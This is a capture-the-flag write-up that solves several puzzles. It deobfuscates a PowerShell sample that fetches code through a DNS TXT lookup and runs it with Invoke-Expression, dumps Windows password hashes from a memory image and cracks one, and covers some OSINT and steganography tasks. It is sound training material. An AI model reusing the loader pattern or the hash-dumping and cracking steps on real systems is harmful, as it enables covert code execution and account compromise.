-75-68-78-36-2B-68-78-36-4B-68-78-36-2B-68-78-36-54-27-2B-27-2F-6F-52-68-78-36-2B-68-78-36-4F-35-42-4B-4B-38-52-33-4E-68-44-68-78-36-2B-68-78-36-6F-6D-32-41-68-78-36-2B-68-78-36-47-59-70-68-78-36-2B-68-78-36-79-61-68-78-36-2B-68-78-36-54-61-4E-67-38-44-41-6E-65-4E-6F-65-53-6A-68-78-36-2B-68-27-2B-27-78-36-75-67-6B-54-42-46-54-63-43-50-61-53-48-30-51-6A-70-46-79-77-68-78-36-2B-27-2B-27-68-78-36-61-51-79-68-78-27-2B-27-36-2B-68-78-36-48-74-50-55-47-27-2B-27-68-78-27-2B-27-36-2B-68-78-36-44-4C-30-42-4B-33-68-78-36-2B-68-27-2B-27-78-36-6C-43-6C-72-48-41-76-68-78-36-2B-68-27-2B-27-78-36-34-47-4F-70-56-4B-68-78-36-2B-68-78-36-55-4E-68-78-36-2B-68-78-36-6D-47-7A-49-44-65-72-61-45-76-6C-70-63-27-2B-27-6B-43-39-45-47-68-78-36-2B-68-78-36-67-49-61-66-39-36-6A-53-6D-53-68-78-36-27-2B-27-2B-68-78-36-4D-68-68-78-36-2B-68-78-36-68-68-78-36-2B-68-78-36-52-66-49-37-32-68-78-36-2B-68-78-36-6F-48-7A-55-6B-44-73-5A-6F-54-35-68-78-36-2B-68-78-36-6E-68-78-36-2B-68-78-36-63-37-4D-44-38-57-33-31-58-71-27-2B-27-4B-68-78-36-2B-68-78-36-64-34-64-62-74-68-78-36-2B-68-78-36-62-74-68-31-52-64-53-69-67-45-61-45-68-78-36-2B-68-78-36-4A-4E-45-52-4D-4C-55-78-56-27-2B-27-68-78-36-2B-68-78-36-4D-45-34-50-4A-74-55-68-78-36-2B-68-78-36-74-53-49-4A-55-5A-66-5A-68-78-36-2B-68-78-36-45-45-68-78-36-2B-68-78-36-41-68-78-36-2B-68-78-36-4A-73-54-64-44-5A-4E-62-68-78-36-2B-68-78-36-30-59-28-67-6E-69-52-54-53-34-68-78-36-2B-68-78-36-36-65-73-68-27-2B-27-78-36-2B-68-78-36-61-42-6D-6F-52-46-3A-3A-5D-74-52-65-76-6E-4F-68-78-36-2B-68-78-36-43-5B-5D-4D-41-65-72-74-73-59-72-4F-6D-65-4D-2E-4F-69-2E-6D-45-54-53-59-73-5B-20-28-4D-61-45-72-68-78-36-2B-68-78-36-74-68-78-36-2B-68-78-36-73-45-74-41-4C-66-65-44-2E-4E-4F-68-78-36-2B-68-78-36-49-73-53-27-2B-27-65-72-50-6D-6F-27-2B-27-63-2E-4F-49-2E-6D-65-68-78-36-2B-68-78-36-54-73-59-53-68-78-36-27-2B-27-2B-68-78-36-20-68-78-36-2B-68-78-36-20-74-43-65-6A-62-4F-2D-57-45-68-78-36-2B-68-78-36-6E-20-28-20-68-78-36-28-28-28-6E-6F-27-2B-27-49-73-73-65-52-70-58-27-2B-27-65-2D-65-6B-6F-76-6E-69-20-61-36-54-2C-68-78-36-2E-68-78-36-2C-68-78-36-52-69-67-68-74-54-6F-4C-45-46-74-68-78-36-20-29-20-52-59-63-66-6F-72-45-61-63-68-7B-5A-54-36-5F-20-7D-29-2B-61-36-54-20-5A-54-36-28-20-73-56-20-68-78-36-6F-46-73-68-78-36-20-68-78-36-20-68-78-36-29-61-36-54-20-29-20-27-29-20-20-2D-63-52-45-70-4C-41-43-45-20-28-5B-63-48-41-72-5D-39-30-2B-5B-63-48-41-72-5D-38-34-2B-5B-63-48-41-72-5D-35-34-29-2C-5B-63-48-41-72-5D-33-36-20-2D-72-45-50-6C-41-63-65-27-61-36-54-27-2C-5B-63-48-41-72-5D-33-34-20-20-2D-72-45-50-6C-41-63-65-20-20-27-52-59-63-27-2C-5B-63-48-41-72-5D-31-32-34-20-2D-63-52-45-70-4C-41-43-45-20-20-28-5B-63-48-41-72-5D-31-30-34-2B-5B-63-48-41-72-5D-31-32-30-2B-5B-63-48-41-72-5D-35-34-29-2C-5B-63-48-41-72-5D-33-39-29-20-7C-2E-20-28-20-24-76-45-52-62-6F-53-45-70-72-65-46-65-52-65-6E-43-65-2E-74-4F-53-74-72-49-4E-47-28-29-5B-31-2C-33-5D-2B-27-78-27-2D-4A-4F-69-6E-27-27-29</Binary>
  </EventData>
</Event>

We can decode the binary to readable text by using the “From Hex” module and using “Auto” as a delimiter (or by replacing “-“ with a space) in cyberchef.

We now get an obfuscated a PowerShell script.

1
(('. ( ZT6ENv:CoMSpEc[4,24,25]-joinhx6hx6)( a6T ZT6( Set-variaBle hx6OfShx6 hx6hx6)a6T+ ( [StriNg] [rEGeX]::mAtcheS( a6T ))421]RAhC[,hx6fKIhx6eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,hx6kwlhx6EcalPeRC-  )hx6)bhx6+hx60Yb0Yhx6+hx6niOj-]52,hx6+hx642,hx6+hx64[cehx6+hx6phx6+hx6SMoC:Vnhx6+hx6ekwl ( hx6+hx6. fKI ) (DnEOTDAhx6+hx6ehx6+hx6r.)} ) hx6+hx6iicsA:hx6+hx6:]GnidOcNhx6+hx6e.hx6+hx6Thx6+hx6xethx6+hx6.hx6+hx6METsys[hx6+hx6 ,_kwhx6+hx6l (REDhx6+hx6AeRmaertS.oIhx6+hx6 thx6+hx6Chx6+hx6ejbO-Whx6+hx6En { HCaERoFhx6+hx6fKI) sSERpMoCehx6+hx6dhx6+hx6::hx6+hx6]edOMhx6+hx6nOisSErPMochx6+hx6.NoISSerhx6+hx6pMOc.oi[, ) b0Yhx6+hx6==wDyD4p+Ss/l/hx6+hx6i+5GtatJKyfNjOhx6+hx63hx6+hx63hx6+hx64Vhx6+hx6vj6wRyRXe1xy1pB0hx6+hx6AXVLMgOwYhx6+hx6//hx6+hx6Womhx6+hx6zzUhx6+hx6tBhx6+hx6sx/ie0rVZ7hx6+hx6xcLiowWMGEVjk7JMfxVmuszhx6+hx6OT3XkKu9TvOsrhx6+hx6bbhx6+hx6cbhx6+hx6GyZ6c/gYhx6+hx6Npilhx6+hx6BK7x5hx6+hx6Plchx6+hx68qUyOhBYhx6+hx6VecjNLW42YjM8SwtAhx6+hx6aR8Ihx6+hx6Ohx6+hx6whx6+hx6mhx6+hx66hx6+hx6UwWNmWzCwhx6+hx6VrShx6+hx6r7Ihx6+hx6T2hx6+hx6k6Mj1Muhx6+hx6Khx6+hx6T/oRhx6+hx6O5BKK8R3NhDhx6+hx6om2Ahx6+hx6GYphx6+hx6yahx6+hx6TaNg8DAneNoeSjhx6+hx6ugkTBFTcCPaSH0QjpFywhx6+hx6aQyhx6+hx6HtPUGhx6+hx6DL0BK3hx6+hx6lClrHAvhx6+hx64GOpVKhx6+hx6UNhx6+hx6mGzIDeraEvlpckC9EGhx6+hx6gIaf96jSmShx6+hx6Mhhx6+hx6hhx6+hx6RfI72hx6+hx6oHzUkDsZoT5hx6+hx6nhx6+hx6c7MD8W31XqKhx6+hx6d4dbthx6+hx6bth1RdSigEaEhx6+hx6JNERMLUxVhx6+hx6ME4PJtUhx6+hx6tSIJUZfZhx6+hx6EEhx6+hx6Ahx6+hx6JsTdDZNbhx6+hx60Y(gniRTS4hx6+hx66eshx6+hx6aBmoRF::]tRevnOhx6+hx6C[]MAertsYrOmeM.Oi.mETSYs[ (MaErhx6+hx6thx6+hx6sEtALfeD.NOhx6+hx6IsSerPmoc.OI.mehx6+hx6TsYShx6+hx6 hx6+hx6 tCejbO-WEhx6+hx6n ( hx6(((noIsseRpXe-ekovni a6T,hx6.hx6,hx6RightToLEFthx6 ) RYcforEach{ZT6_ })+a6T ZT6( sV hx6oFshx6 hx6 hx6)a6T ) ') -cREpLACE ([cHAr]90 + [cHAr]84 + [cHAr]54), [cHAr]36 -rEPlAce 'a6T', [cHAr]34 -rEPlAce 'RYc', [cHAr]124 -cREpLACE ([cHAr]104 + [cHAr]120 + [cHAr]54), [cHAr]39) | . ( $vERboSEpreFeRenCe.tOStrING()[1, 3] + 'x' -JOin '')

Let’s go through the steps to deobfuscate the given PowerShell script.

  1. Replace ‘ + ‘ with ‘’
  2. Convert Char to ASCII, by using an ASCII table
  3. Replace ‘ZT6’ with ‘$’
  4. Replace ‘a6T’ with ‘”’
  5. Replace ‘RYc’ with ‘

After these transformations, the script becomes more readable:

1
. ( $ENv:CoMSpEc[4,24,25]-join'')( " $( Set-variaBle 'OfS' '')"+ ( [StriNg] [rEGeX]::mAtcheS( " ))421]RAhC[,'fKI'eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,'kwl'EcalPeRC-  )')b'+'0Yb0Y'+'niOj-]52,'+'42,'+'4[ce'+'p'+'SMoC:Vn'+'ekwl ( '+'. fKI ) (DnEOTDA'+'e'+'r.)} ) '+'iicsA:'+':]GnidOcN'+'e.'+'T'+'xet'+'.'+'METsys['+' ,_kw'+'l (RED'+'AeRmaertS.oI'+' t'+'C'+'ejbO-W'+'En { HCaERoF'+'fKI) sSERpMoCe'+'d'+'::'+']edOM'+'nOisSErPMoc'+'.NoISSer'+'pMOc.oi[, ) b0Y'+'==wDyD4p+Ss/l/'+'i+5GtatJKyfNjO'+'3'+'3'+'4V'+'vj6wRyRXe1xy1pB0'+'AXVLMgOwY'+'//'+'Wom'+'zzU'+'tB'+'sx/ie0rVZ7'+'xcLiowWMGEVjk7JMfxVmusz'+'OT3XkKu9TvOsr'+'bb'+'cb'+'GyZ6c/gY'+'Npil'+'BK7x5'+'Plc'+'8qUyOhBY'+'VecjNLW42YjM8SwtA'+'aR8I'+'O'+'w'+'m'+'6'+'UwWNmWzCw'+'VrS'+'r7I'+'T2'+'k6Mj1Mu'+'K'+'T/oR'+'O5BKK8R3NhD'+'om2A'+'GYp'+'ya'+'TaNg8DAneNoeSj'+'ugkTBFTcCPaSH0QjpFyw'+'aQy'+'HtPUG'+'DL0BK3'+'lClrHAv'+'4GOpVK'+'UN'+'mGzIDeraEvlpckC9EG'+'gIaf96jSmS'+'Mh'+'h'+'RfI72'+'oHzUkDsZoT5'+'n'+'c7MD8W31XqK'+'d4dbt'+'bth1RdSigEaE'+'JNERMLUxV'+'ME4PJtU'+'tSIJUZfZ'+'EE'+'A'+'JsTdDZNb'+'0Y(gniRTS4'+'6es'+'aBmoRF::]tRevnO'+'C[]MAertsYrOmeM.Oi.mETSYs[ (MaEr'+'t'+'sEtALfeD.NO'+'IsSerPmoc.OI.me'+'TsYS'+' '+' tCejbO-WE'+'n ( '(((noIsseRpXe-ekovni ",'.','RightToLEFt' ) |forEach{$_ })+" $( sV 'oFs' ' ')" ) 

We observe that the script is being reversed using RightToLeft and it calls noIsseRpXe-ekovni. To read the output of this script, we can replace noIsseRpXe-ekovni with tuptuO-etirW (Write-Output).

After implementing the mentioned substitution and running the script, we acquire a new script:

1
2
> .\"deobfuscated.ps1"
 ( nEW-ObjeCt  SYsTem.IO.comPreSsION.DefLAtEstrEaM( [sYSTEm.iO.MemOrYstreAM][COnveRt]::FRomBase64STRing('NZDdTsJAEEZfZUJIStUtJP4EMVxULMRENJEaEgiSdR1htbtbd4dKqX13W8DM7cn5ToZsDkUzHo27IfRhhMSmSj69faIgGE9CkcplvEareDIzGmNUKVpOG4vAHrlCl3KB0LDGUPtHyQawyFpjQ0HSaPCcTFBTkgujSeoNenAD8gNaTaypYGA2moDhN3R8KKB5ORo/TKuM1jM6k2TI7rSrVwCzWmNWwU6mwOI8RaAtwS8MjY24WLNjceVYBhOyUq8clP5x7KBlipNYg/c6ZyGbcbbrsOvT9uKkX3TOzsumVxfMJ7kjVEGMWwoiLcx7ZVr0ei/xsBtUzzmoW//YwOgMLVXA0Bp1yx1eXRyRw6jvV433OjNfyKJtatG5+i/l/sS+p4DyDw==' ) ,[io.cOMpreSSIoN.coMPrESsiOnMOde]::deCoMpRESs )|FoREaCH { nEW-ObjeCt Io.StreamReADER( $_, [sysTEM.texT.eNcOdinG]::Ascii ) }).reADTOEnD( ) | . ( $enV:CoMSpec[4,24,25]-jOin'')

We can modify this script to display the output instead of executing it:

1
2
3
4
5
6
$output = (New-Object System.IO.Compression.DeflateStream(
    [System.IO.MemoryStream][Convert]::FromBase64String('NZDdTsJAEEZfZUJIStUtJP4EMVxULMRENJEaEgiSdR1htbtbd4dKqX13W8DM7cn5ToZsDkUzHo27IfRhhMSmSj69faIgGE9CkcplvEareDIzGmNUKVpOG4vAHrlCl3KB0LDGUPtHyQawyFpjQ0HSaPCcTFBTkgujSeoNenAD8gNaTaypYGA2moDhN3R8KKB5ORo/TKuM1jM6k2TI7rSrVwCzWmNWwU6mwOI8RaAtwS8MjY24WLNjceVYBhOyUq8clP5x7KBlipNYg/c6ZyGbcbbrsOvT9uKkX3TOzsumVxfMJ7kjVEGMWwoiLcx7ZVr0ei/xsBtUzzmoW//YwOgMLVXA0Bp1yx1eXRyRw6jvV433OjNfyKJtatG5+i/l/sS+p4DyDw=='),
    [System.IO.Compression.CompressionMode]::Decompress
) | ForEach-Object { New-Object IO.StreamReader($_, [System.Text.Encoding]::Ascii) }).ReadToEnd()

Write-Output $output

We obtain another script:

1
2
> .\script_output.ps1"
try {$TGM8A = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi" -ErrorAction 'silentlycontinue' ; if ($error.Count -eq 0) { $5GMLW = (Resolve-DnsName eventlog.zip -Type txt | ForEach-Object { $_.Strings }); if ($5GMLW -match '^[-A-Za-z0-9+/]*={0,3}$') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($5GMLW)) | Invoke-Expression } } } catch { }

When running this code, no output is generated. The -ErrorAction 'silentlycontinue' parameter is used to suppress errors, but the subsequent code block under the if ($error.Count -eq 0) condition does not execute even in the presence of errors.

If we remove the -ErrorAction 'silentlycontinue' parameter, an error “Get-WmiObject : Not supported” is thrown. We can opt to remove both this parameter and the aforementioned error-checking code, enabling the script to execute successfully.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
try {
    #$TGM8A = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi"

    #if ($error.Count -eq 0) {
        $5GMLW = (Resolve-DnsName eventlog.zip -Type txt | ForEach-Object { $_.Strings })
        Write-Output "Resolved DNS: $5GMLW"

        if ($5GMLW -match '^[-A-Za-z0-9+/]*={0,3}$') {
            $decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($5GMLW))
            Write-Output "Decoded Text: $decodedText"
            Write-Output $decodedText
        }
    #}
} catch {
    Write-Output "Error: $_"
}

Executing this provides us the flag:

1
2
3
4
> .\script_without_checks.ps1
Resolved DNS: U3RhcnQtUHJvY2VzcyAiaHR0cHM6Ly95b3V0dS5iZS81NjFubmQ5RWJzcz90PTE2IgojZmxhZ3s0MDk1MzczNDdjMmZhZTAxZWY5ODI2YzI1MDZhYzY2MH0jCg==
Decoded Text: Start-Process "https://youtu.be/561nnd9Ebss?t=16"
#flag{409537347c2fae01ef9826c2506ac660}#

Bad Memory

A user came to us and said they forgot their password. Can you recover it? The flag is the MD5 hash of the recovered password wrapped in the proper flag format.

We get a zip file with a file inside called “image.bin”. As this looks like a memory dump file, we can use volatility3 to analyse and dump data.

Volatility3 setup

We clone the repo and then download the needed symbol files, which is metadata that enabled volatility3 to decode and interpret accurately, for our operating system (linux) in the “volatility3/volatility3/symbols” folder.

1
2
3
4
5
6
7
8
9
10
11
$ sudo git clone https://github.com/volatilityfoundation/volatility3.git
[sudo] password for kali: 
Cloning into 'volatility3'...
remote: Enumerating objects: 31324, done.
remote: Counting objects: 100% (2168/2168), done.
remote: Compressing objects: 100% (908/908), done.
remote: Total 31324 (delta 1516), reused 1777 (delta 1246), pack-reused 29156
Receiving objects: 100% (31324/31324), 6.31 MiB | 416.00 KiB/s, done.
Resolving deltas: 100% (23697/23697), done.
$ cd volatility3/symbols 
$ wget https://downloads.volatilityfoundation.org/volatility3/symbols/linux.zip

Volatility3 usage

We can now enumerate the image.bin file and gather info by calling windows.info.Info.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ sudo python3 vol.py -f /media/sf_Shared/image.bin windows.info.Info   
[sudo] password for kali: 
Volatility 3 Framework 2.5.2
Progress:  100.00               PDB scanning finished                          
Variable        Value

Kernel Base     0xf8047e200000
DTB     0x1aa000
Symbols file:///opt/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/81BC5C377C525081645F9958F209C527-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf8047ee0f2a8
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      1
SystemTime      2020-10-03 11:45:39
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Sun Aug 11 05:47:24 2069

We can dump the SAM hashes via windows.hashdump.Hashdump.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo python3 vol.py -f /media/sf_Shared/image.bin windows.hashdump.Hashdump  
Volatility 3 Framework 2.5.2
...
...
...
Progress:  100.00               PDB scanning finished                                                                                              
User    rid     lmhash  nthash

Administrator   500     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
Guest   501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount  503     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount      504     aad3b435b51404eeaad3b435b51404ee        4cff1380be22a7b2e12d22ac19e2cdc0
congo   1001    aad3b435b51404eeaad3b435b51404ee        ab395607d3779239b83eed9906b4fb92

Cracking the hash and finding the flag

We can crack the hash for the “congo” user via john as these are nthashes we can provide the option --format=NT.

1
2
3
4
5
6
7
8
$ john --format=NT hashdump.txt --wordlist=~/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=3
Press 'q' or Ctrl-C to abort, almost any other key for status
goldfish#        (congo)     
1g 0:00:00:00 DONE (2023-10-24 22:16) 1.250g/s 9785Kp/s 9785Kc/s 9785KC/s 
Session completed.                                               

We now have the plaintext password, but the flag needs to be an MD5 hash so we can hash plaintext password and we get the flag.

1
2
$ echo -n "goldfish#" | md5sum                                    
2eb53da441962150ae7d3840444dfdde

flag{2eb53da441962150ae7d3840444dfdde}

OSINT

Where am I?

Your friend thought using a JPG was a great way to remember how to login to their private server. Can you find the flag?

We see a base64 encoded string in the Image Description when looking at the metadata with exiftool.

When we decode it we get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
$ exiftool PXL_20230922_231845140_2.jpg 
ExifTool Version Number         : 12.49
File Name                       : PXL_20230922_231845140_2.jpg
Directory                       : .
File Size                       : 1641 kB
File Modification Date/Time     : 2023:10:09 15:10:40+02:00
File Access Date/Time           : 2023:10:09 15:12:20+02:00
File Inode Change Date/Time     : 2023:10:09 15:10:40+02:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
Image Description               : ZmxhZ3tiMTFhM2YwZWY0YmMxNzBiYTk0MDljMDc3MzU1YmJhMik=
Make                            : Google
Camera Model Name               : Pixel Fold
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : HDR+ 1.0.540104767zd
Modify Date                     : 2023:09:22 19:18:45
Y Cb Cr Positioning             : Centered
Exposure Time                   : 1/2666
F Number                        : 1.7
Exposure Program                : Program AE
ISO                             : 46
Sensitivity Type                : ISO Speed
Exif Version                    : 0232
Date/Time Original              : 2023:09:22 19:18:45
Create Date                     : 2023:09:22 19:18:45
Offset Time                     : -04:00
Offset Time Original            : -04:00
Offset Time Digitized           : -04:00
Components Configuration        : Y, Cb, Cr, -
Shutter Speed Value             : 1/2048
Aperture Value                  : 1.4
Brightness Value                : 9.03
Exposure Compensation           : 0
Max Aperture Value              : 1.7
Subject Distance                : 3.772 m
Metering Mode                   : Center-weighted average
Flash                           : Off, Did not fire
Focal Length                    : 4.5 mm
Sub Sec Time                    : 140
Sub Sec Time Original           : 140
Sub Sec Time Digitized          : 140
Flashpix Version                : 0100
Color Space                     : sRGB
Exif Image Width                : 3000
Exif Image Height               : 4000
Interoperability Index          : R98 - DCF basic file (sRGB)
Interoperability Version        : 0100
Sensing Method                  : One-chip color area
Scene Type                      : Directly photographed
Custom Rendered                 : Custom
Exposure Mode                   : Auto
White Balance                   : Auto
Digital Zoom Ratio              : 2.5
Focal Length In 35mm Format     : 49 mm
Scene Capture Type              : Standard
Contrast                        : Normal
Saturation                      : Normal
Sharpness                       : Normal
Subject Distance Range          : Distant
Lens Make                       : Google
Lens Model                      : Pixel Fold back camera 4.53mm f/1.7
Composite Image                 : Composite Image Captured While Shooting
GPS Version ID                  : 2.3.0.0
GPS Latitude Ref                : North
GPS Longitude Ref               : West
GPS Altitude Ref                : Above Sea Level
GPS Time Stamp                  : 23:18:36
GPS Dilution Of Precision       : 43
GPS Img Direction Ref           : Magnetic North
GPS Img Direction               : 73
GPS Processing Method           : fused
GPS Date Stamp                  : 2023:09:22
Compression                     : JPEG (old-style)
Thumbnail Offset                : 1444
Thumbnail Length                : 11879
JFIF Version                    : 1.02
Profile CMM Type                : 
Profile Version                 : 4.0.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2023:03:09 10:57:00
Profile File Signature          : acsp
Primary Platform                : Unknown ()
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : Google
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Google
Profile ID                      : 61473528d5aaa311e143dfc93efaa268
Profile Description             : sRGB IEC61966-2.1
Profile Copyright               : Copyright (c) 2023 Google Inc.
Media White Point               : 0.9642 1 0.82491
Media Black Point               : 0 0 0
Red Matrix Column               : 0.43604 0.22249 0.01392
Green Matrix Column             : 0.38512 0.7169 0.09706
Blue Matrix Column              : 0.14305 0.06061 0.71391
Red Tone Reproduction Curve     : (Binary data 32 bytes, use -b option to extract)
Chromatic Adaptation            : 1.04788 0.02292 -0.05019 0.02959 0.99048 -0.01704 -0.00922 0.01508 0.75168
Blue Tone Reproduction Curve    : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 32 bytes, use -b option to extract)
XMP Toolkit                     : Adobe XMP Core 5.1.0-jc003
Has Extended XMP                : 5ED7F3B831F9D9D205DAFF353924EAB2
Image Width                     : 3000
Image Height                    : 4000
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
HDRP Maker Note                 : (Binary data 65253 bytes, use -b option to extract)
Shot log data                   : SERSUALvZDVtXnAeLOrjQ5je1sZODhZ+LZCJy0bmpxhlJl1dgln2oQ8+zQtW5M289pn7Uu6EzHIF3mSWvI1ullYx0EyWG/HzyuhNwYe2O7LftAGtWhHZGryv1jfVy3Y2WGg4THVjdGuQ2F1GZByfFBwX2u9kwRGSEYFwBOnErgNStpy6RCgUMRTUcpKR9wCFNTBvNeo3BuOjeJlu+512XMlgj7AhuDEe1x6nuvYUt9H0j401ex7ThIZOHkwzlVm0JMzwTGO4HQfiBD7PvAxxLOJJHN06CEzplgmvy+VB8c0kutBJfu3Pztbop5/9UF4DuRQsqvk/qGQ9oBMQ6Ah/qiXCEHtOnhgDlGGAuH9Ntkhg6Ua3i/hXXYfRqPa0/swPohf+q2bC31AqHo6SK2GnOyolqtYpPNuxAvSWKxMECdweQtF+3rEFypbjPbAxDod1YsozdaDWpCYnPP3OrnypPks9Qzd+Kl66mPK8abVLT4+Ck/jYjMIJEOoyKH9VoGYzFg9nRBEDXxLjiMOcgd3t3ccvfoIhwgXudi/QEIYTdQJu/o9p0kApDJBbhrY8pGlszvSM/ahNAk25x98SdHhWkM3TUWicjQSp7iDlP78HB1vBrEyShiPnimE6XYKBtD2nJBMZphI8f6It07/HSn4qugimpcZ5IlV1dhqfigQseGe49+9M8Cv2imI3sdfnFyRTfvocDwf0pBTWCiAClZjPyytERW7Sqf+GG7HicP56pT7KUzQdXrWTQaYUhcihuVlufxqQ7G9ZcQ63
Aperture                        : 1.7
Image Size                      : 3000x4000
Megapixels                      : 12.0
Scale Factor To 35 mm Equivalent: 10.8
Shutter Speed                   : 1/2666
Create Date                     : 2023:09:22 19:18:45.140-04:00
Date/Time Original              : 2023:09:22 19:18:45.140-04:00
Modify Date                     : 2023:09:22 19:18:45.140-04:00
Thumbnail Image                 : (Binary data 11879 bytes, use -b option to extract)
GPS Altitude                    : 254.4 m Above Sea Level
GPS Date/Time                   : 2023:09:22 23:18:36Z
GPS Latitude                    : 33 deg 46' 14.88" N
GPS Longitude                   : 84 deg 21' 51.22" W
Circle Of Confusion             : 0.003 mm
Depth Of Field                  : 26.33 m (2.02 - 28.35 m)
Field Of View                   : 40.3 deg
Focal Length                    : 4.5 mm (35 mm equivalent: 49.0 mm)
GPS Position                    : 33 deg 46' 14.88" N, 84 deg 21' 51.22" W
Hyperfocal Distance             : 4.35 m
Light Value                     : 14.0
Lens ID                         : Pixel Fold back camera 4.53mm f/1.7
$ echo -n ZmxhZ3tiMTFhM2YwZWY0YmMxNzBiYTk0MDljMDc3MzU1YmJhMik= | base64 --decode
flag{b11a3f0ef4bc170ba9409c077355bba2) 

Operation Not Found

We get a link to a challenge on osint.golf.

golf

We see construction happening on a build by the company “Brasfield & Gorrie”. The picture seems to date from maps 2019.

We can go to their portfolio page and look through the different projects they have done.

Brasfield & Gorrie Blog Post Google Maps location

Under the Bridge

Can you find this iconic location? We again get a link to a challenge on osint.golf.

bridge

We can see a number on the bridge “HC13”, additionally all the warning signs are in English and the plates on the cars seems to indicate that this bridge is located in England. When we search “HC13 bridge England” we find out that this is the bridge that appears in the Rick Roll music video. This bridge is located on “150 Freston Rd, London”.

bridge

Stenography

Land Before Time

This trick is nothing new, you know what to do: iSteg. Look for the tail that’s older than time, this Spike, you shouldn’t climb.

Using iSteg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
~/Downloads ➜ cd iSteg-v2.01_CLI
~/Downloads/iSteg-v2.01_CLI ➜ java -jar iSteg-v2.01_CLI.jar
iSteg CLI v-2.01
Enter your choice:
    1. Hide a file with Steg
    2. Hide a message with Steg
    3. Extract stuff from Steg
    Enter any things to exit.
3
Enter file name with extension: 
dinosaurs1.png
Password (Press enter if the steganographic data wasn't encrypted):

Message extraction successful. The text is:
flag{da1e2bf9951c9eb1c33b1d2008064fee}
This post is licensed under CC BY 4.0 by the author.